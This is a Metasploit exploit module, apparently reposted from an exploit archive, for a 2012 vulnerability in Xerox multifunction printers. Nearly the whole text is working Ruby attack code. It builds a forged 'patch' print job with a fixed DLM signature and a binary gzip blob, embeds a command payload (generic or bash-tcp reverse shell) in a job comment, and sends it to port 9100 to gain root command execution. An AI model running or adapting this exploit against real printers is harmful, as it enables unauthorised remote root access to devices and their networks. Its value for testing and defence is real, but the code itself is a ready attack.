Xerox Multifunction Printers (MFP) – ‘Patch’ DLM (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Xerox Multifunction Printers (MFP) "Patch" DLM Vulnerability', 'Description' => %{ This module exploits a vulnerability found in Xerox Multifunction Printers (MFP). By supplying a modified Dynamic Loadable Module (DLM), it is possible to execute arbitrary commands under root priviages. }, 'Author' => [ 'Deral "Percentx" Heiland', 'Pete "Bokojan" Arzamendi' ], 'References' => [ ['BID', '52483'], ['URL', 'http://www.xerox.com/download/security/security-bulletin/1284332-2ddc5-4baa79b70ac40/cert_XRX12-003_v1.1.pdf'], ['URL', 'http://foofus.net/goons/percx/Xerox_hack.pdf'] ], 'Privileged' => true, 'License' => MSF_LICENSE, 'Payload' => { 'DisableNops' => true, 'Space' => 512, 'Compat' => { 'PayloadType' => 'cmd cmd_bash', 'RequiredCmd' => 'generic bash-tcp' } }, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Targets' => [['Automatic', {}]], 'DisclosureDate' => 'Mar 07 2012', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(9100) ], self.class) end def exploit print_status("#{rhost}:#{rport} - Sending print job...") firmcode = '%%XRXbegin' + "\x0A" firmcode << '%%OID_ATT_JOB_TYPE OID_VAL_JOB_TYPE_DYNAMIC_LOADABLE_MODULE' + "\x0A" firmcode << '%%OID_ATT_JOB_SCHEDULING OID_VAL_JOB_SCHEDULING_AFTER_COMPLETE' + "\x0A" firmcode << '%%OID_ATT_JOB_COMMENT "PraedaPWN2014:' + "#{payload.encoded}" + ':"' + "\x0A" firmcode << '%%OID_ATT_JOB_COMMENT "patch"' + "\x0A" firmcode << '%%OID_ATT_DLM_NAME "xerox"' + "\x0A" firmcode << '%%OID_ATT_DLM_VERSION "NO_DLM_VERSION_CHECK"' + "\x0A" firmcode << '%%OID_ATT_DLM_SIGNATURE "ca361047da56db9dd81fee6a23ff875facc3df0e1153d325c2d217c0e75f861b"' + "\x0A" firmcode << '%%OID_ATT_DLM_EXTRACTION_CRITERIA "extract /tmp/xerox.dnld"' + "\x0A" firmcode << '%%XRXend' + "\x0A\x1F\x8B\x08\x00\xB1\x8B\x49\x54\x00\x03\xED" firmcode << "\xD3\x41\x4B\xC3\x30\x14\x07\xF0\x9E\xFB\x29\xFE\xE2\x60\x20\x74" firmcode << "\x69\x63\x37\x61\x5A\xBC\x79\x94\xDD\x3C\xC8\xA0\x59\x9B\xDA\x4A" firmcode << "\xD7\xCC\xB4\xD3\x1D\xF6\xE1\x8D\xDD\x64\xB8\x83\x3B\x0D\x11\xFE" firmcode << "\xBF\x43\x03\xAF\x2F\xEF\xBD\xB4\x64\xA3\xAD\xD9\x8C\xDA\xD2\x3B" firmcode << "\xA3\xD0\xB9\x19\x8F\xFB\xD5\x39\x5E\xC3\x58\x4E\xBC\x48\xC6\x52" firmcode << "\x5E\x87\xE3\x89\x8C\xBD\x30\x8A\xE4\x44\x7A\x08\xCF\x39\xD4\xB7" firmcode << "\x75\xDB\x29\x0B\x78\xD6\x98\xEE\xB7\xBC\x53\xEF\xFF\xA9\xCB\x0B" firmcode << "\xB1\xA8\x1A\xB1\x50\x6D\xE9\x17\x55\x9D\xA4\x2F\x56\xAF\x10\xD4" firmcode << "\x08\x1E\x30\x9C\x59\xA5\x73\x35\x7B\x7A\x94\x61\x14\x0F\x21\xDE" firmcode << "\x95\x15\xED\xCA\x98\x5A\x34\x99\x68\x74\x27\x5E\xCD\x62\x7A\x35" firmcode << "\x8A\x52\xBF\x2A\xF0\x8C\xA0\xC0\xC0\xD5\xC0\xDC\xEF\x4A\xDD\xF8" firmcode << "\xC0\x47\x59\xD5\x1A\x56\xAB\x1C\x75\xD5\x68\x17\xC9\x8D\x7B\x00" firmcode << "\x3A\x2B\x0D\x06\x5F\x31\x6C\xB1\xEB\xF8\x06\xFC\x68\xD7\xE7\xF5" firmcode << "\x65\x07\xF7\x48\x12\x84\x98\xDF\x62\x5F\x17\xC8\xCC\x72\xA9\x9A" firmcode << "\x3C\x49\x0F\x95\xB6\xD9\xBA\x43\x90\x4F\xDD\x18\x32\xED\x93\x8A" firmcode << "\xAA\xEF\xE8\x9A\xDC\xF5\x83\xF9\xBB\xE4\xFD\xDE\xED\xE1\xE0\x76" firmcode << "\x89\x91\xD8\xEC\x6F\x82\xFB\x0C\xFE\x5F\xFF\x15\x22\x22\x22\x22" firmcode << "\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\xA2\xD3\x3E" firmcode << "\x01\x5A\x18\x54\xBB\x00\x28\x00\x00" begin connect sock.put(firmcode) handler rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::AddressInUse => e print_error("#{rhost}:#{rport} - #{e.message}") ensure disconnect end end end |